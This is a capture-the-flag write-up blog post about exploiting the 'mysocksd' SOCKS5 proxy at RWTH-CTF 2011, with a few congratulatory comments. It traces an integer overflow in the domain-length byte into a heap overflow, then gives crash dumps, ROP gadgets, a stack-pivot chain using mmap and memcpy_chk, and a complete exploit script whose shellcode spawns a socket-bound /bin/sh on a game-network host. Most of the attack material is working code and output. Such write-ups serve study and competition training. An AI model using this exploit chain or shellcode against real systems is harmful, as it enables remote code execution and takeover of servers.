01
Oct
2011

RWTH-CTF 2011 mysocksd

The vulnerability

The mysocksd binary is a SOCKS5 proxy written in C++. The binary is vulnerable
to an integer overflow when using SOCKS5’s feature of connecting to a remote
host by specifying a domain name. The domain name length is specified using a
single byte which gets overflown when set to ‘\xff’. This in turn leads to a
heap overflow. So, suspecting a classic unlink attack, we first check where it
crashes. πŸ™‚

perl -e 'print "\x05\x01\x00\x05\x01\x00\x03\xff"."A"x4096;' | nc localhost 1080
[975215.498621] f2b1ececc7c6525[6893]: segfault at 41414149 ip 0804b6fa sp bf94aa80 error 4
        in f2b1ececc7c652513a867f07493c62bb[8048000+d000]
=> 0x804b6fa <SocksSocket::handleInput()+1032>:    call   *0x8(%eax)

Hmmm… easier than expected, no unlink needed, just a simple overflow πŸ™‚

In (a slightly tweaked version of) minemu, we can see that EBX points to the heap buffer address + 16 and that there is a statically allocated read buffer:

address:
           fa b6 04 08                                     
registers:
           [   eax   ] [   ecx   ]  [   edx   ] [   ebx   ]
           41 41 41 41 00 00 00 00  d8 8b 05 08 e8 8b 05 08   |AAAA............|
           [   esp   ] [   ebp   ]  [   esi   ] [   edi   ]
           00 2e 39 51 78 2f 39 51  f0 8b 05 08 e8 8b 05 08   |..9Qx/9Q........|
in map: 8056000 (size 4096)
...
08056250   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   |................|
08056260   41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41   |AAAAAAAAAAAAAAAA|
08056270   41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41   |AAAAAAAAAAAAAAAA|
08056280   41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41   |AAAAAAAAAAAAAAAA|
...
in map: 8057000 (size 135168)
...
08058bb0   01 00 00 00 00 00 00 00  00 00 00 00 e8 8b 05 08   |................|
08058bc0   e0 98 04 08 00 00 00 00  06 00 00 00 01 00 00 00   |................|
08058bd0   ff ff ff ff 11 00 00 00  41 41 41 41 41 41 41 41   |........AAAAAAAA|
08058be0   41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41   |AAAAAAAAAAAAAAAA|
08058bf0   41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41   |AAAAAAAAAAAAAAAA|
...

Getting control over EIP and ESP

 804b6f5:       8b 03                   mov    (%ebx),%eax
 804b6f7:       89 3c 24                mov    %edi,(%esp)
 804b6fa:       ff 50 08                call   *0x8(%eax)

EAX gets read from the address in EBX, thus, by manipulating EBX, we control EIP.
Still, we don’t have the the stack pointer in place to do a classic ROP.
Luckily, we have some convenient gadgets:

  • Gadget A
    80598d4:       xchg %eax, %esp
                   ret
    
  • Gadget B
     804a7cf:       pop    %esi
                    pop    %ebp
                    ret
    

From this, we can construct our exploit buffer which bootstraps to a classic
ROP environment:

heap                      heap+0xC         heap+0x10      heap+0x14        heap+0x18
0x08056260                0x0805626C       0x08056270     0x08056274       0x08056278
|                         |                |              |                |
[ 12 bytes padding .... ] [ address of B ] [ 0x0805626C ] [ address of A ] [ ROP sled ... ]

EBX = heap+0x10

 804b6f5:       mov    (%ebx),%eax
 804b6f7:       mov    %edi,(%esp)

EAX = 0x0805626C

 804b6fa:       call   *0x8(%eax)  # jump to gadget A
 80598d4:       xchg %eax, %esp

ESP = 0x0805626C

 80598d5:       ret                # jump to gadget B
 804a7cf:       pop    %esi
 804a7d0:       pop    %ebp

ESP = ROPSLED

 804a7d1:       ret

Injecting our own code

From here on it is just basic ROP/Return-to-libc in order to create an
executable memory region with shellcode:

	mmap(0x42420000, 0x00010000, PROT_READ|PROT_WRITE|PROT_EXEC,
	     MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);

	memcpy_chk(shellcode=0x42424242, start_of_shellcode, 0x100, ...);

	shellcode();

We had a lot of trouble because we copied a ROPSLED from a different exploit. It had a lot of non-existent flags on the mmap() arguments so that it would not contain NULL-bytes. This worked on our test machines, but the 64bit kernel on the real host was more strict when encountering non-existent flags or non-address boundary aligned base addresses. When we finally found the problem, our exploit worked nicely πŸ™‚

The full exploit

(
	printf "\x05\x01\x00";                 # make SOCKS5 connection, no authentication
	printf "\x05\x01\x00\x03\xff";         # establish TCP connection using a given DNS name,
	                                       # alloc size overflow.
	sleep 2;                               # make sure read buffer is empty, may not be needed
	perl << EINDBAZEN

		# code that triggers arbitrary code execution:
		# 804b6f5: mov    (%ebx),%eax
		# 804b6f7: mov    %edi,(%esp)
		# 804b6fa: call   *0x8(%eax)

		print "DE EINDBAZEN".              # start of read buffer 0x08056260 / heap data ???

		      "\xcf\xa7\x04\x08".          # 2.) EAX points here @ read buffer after 0x804b6f5,
		                                   # 4.) SECOND jump (return) address
		      "\x6C\x62\x05\x08".          # 1.) EBX points here @ heap data, when EIP is 0x804b6f5
		      "\xd4\x98\x04\x08".          # 3.) FIRST jump address ( call *0x8(%eax) @ 0x804b6fa )

		                                   # 3.) xchg %eax, %esp       set up stack for normal ROP
		                                   #     ret
		                                   # 4.) pop    %esi
		                                   #     pop    %ebp
		                                   #     ret

              "\x8c\x92\x04\x08".          # return to mmap
		                                   # 0804928c <mmap@plt>:

		      "\xcb\xa7\x04\x08".          # return to mmap clean stack gadget:
		                                   # 804a7cb: add    $0x10,%esp
		                                   # 804a7ce: pop    %ebx
		                                   # 804a7cf: pop    %esi
		                                   # 804a7d0: pop    %ebp
		                                   # 804a7d1: ret    

		          "\x00\x00\x42\x42".      # mmap (0x42420000,
		          "\x00\x00\x01\x00".      #       0x00010000,
		          "\x07\x00\x00\x00".      #       PROT_READ|PROT_WRITE|PROT_EXEC,
		          "\x32\x00\x00\x00".      #       MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
		          "\xff\xff\xff\xff".      #       -1,
		          "\x00\x00\x00\x00".      #       0);
		          "DUMY".                  # stack clean gadget cleans 1 extra
		      "\x3c\x94\x04\x08".          # return to memcpy_chk gadget:
		                                   # 0804943c <__memcpy_chk@plt>:

		      "\x42\x42\x42\x42".          # return to SHELLCODE
		          "\x42\x42\x42\x42".      # memcpy_chk(SHELLCODE,
		          "\xb0\x62\x05\x08".      #            buffer+sizeof(rop),
		          "\x00\x01\x00\x00".      #            256,
                                           #            some_large_value)
		# SHELLCODE: execve("/bin/sh", ["sh", "-c", "(sh -l <&6 >&6 2>&6 )&"], [])
		"\x6a\x26\x68\x26\x36\x20\x29\x68\x36\x20\x32\x3e\x68\x36\x20\x3e\x26".
		"\x68\x6c\x20\x3c\x26\x68\x73\x68\x20\x2d\x68\x41\x41\x41\x28\x6a\x63".
		"\x68\x41\x41\x41\x2d\x6a\x68\x68\x69\x6e\x2f\x73\x68\x41\x41\x2f\x62".
		"\x31\xc0\x50\x8d\x6c\x24\x1b\x55\x8d\x6c\x24\x17\x55\x8d\x6c\x24\x13".
		"\x55\x8d\x5c\x24\x12\x89\xe1\x8d\x54\x24\x0c\x6a\x0b\x58\xcd\x80\x0f\x0b".
		# fill buffer
		"x"x4096;
EINDBAZEN
	cat
)| netcat 10.11.200.2 1080

{3 Responses to “RWTH-CTF 2011 mysocksd”}

  1. Nice.

    Congratulations! πŸ™‚

    I hope there will be more writeup’s πŸ™‚

    fritz
  2. Excellent ^_^

    Good job man!!

  3. Holy shit. You guys are REALLY good..

    RonPaul